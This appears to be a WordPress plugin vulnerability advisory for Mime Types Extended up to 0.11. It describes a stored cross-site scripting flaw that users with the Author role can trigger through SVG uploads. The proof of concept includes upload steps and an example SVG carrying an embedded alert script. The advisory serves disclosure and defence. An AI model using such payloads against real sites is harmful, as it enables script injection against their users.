WordPress Plugin Vulnerabilities
Mime Types Extended <= 0.11 - Author+ Stored XSS via SVG Upload
Description
The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.
Proof of Concept
1. As an admin, enable SVG uploads at https://example.com/wp-admin/options-general.php?page=mime-types-extended 2. As an author, upload a malicious SVG via the Media Library. Example SVG: ``` <svg xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript">alert("xss");</script> </svg> ```
